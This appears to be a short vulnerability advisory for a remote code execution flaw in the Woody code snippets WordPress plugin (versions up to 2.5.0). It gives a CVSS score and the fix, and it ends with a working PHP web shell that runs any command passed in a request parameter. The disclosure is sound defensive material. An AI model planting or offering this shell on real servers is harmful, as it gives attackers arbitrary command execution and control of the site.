The Woody code snippets – Insert Header Footer Code, AdSense Ads plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.5.0 via the 'insert_php' shortcode. This is due to the plugin not restricting the usage of the functionality to high level authorized users. This makes it possible for authenticated attackers, with contributor-level access and above, to execute code on the server.
Base Score: 9.9 CRITICAL
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Software Type: Plugin
Software Slug: insert-php
Remediation: Update to version 2.5.1, or a newer patched version
Affected Version: <= 2.5.0
<?php
error_reporting(0);
$cmd = "$_REQUEST[c]";
if ($cmd == "") {
$cmd = "echo > NUL";
}
@system("$cmd");
?>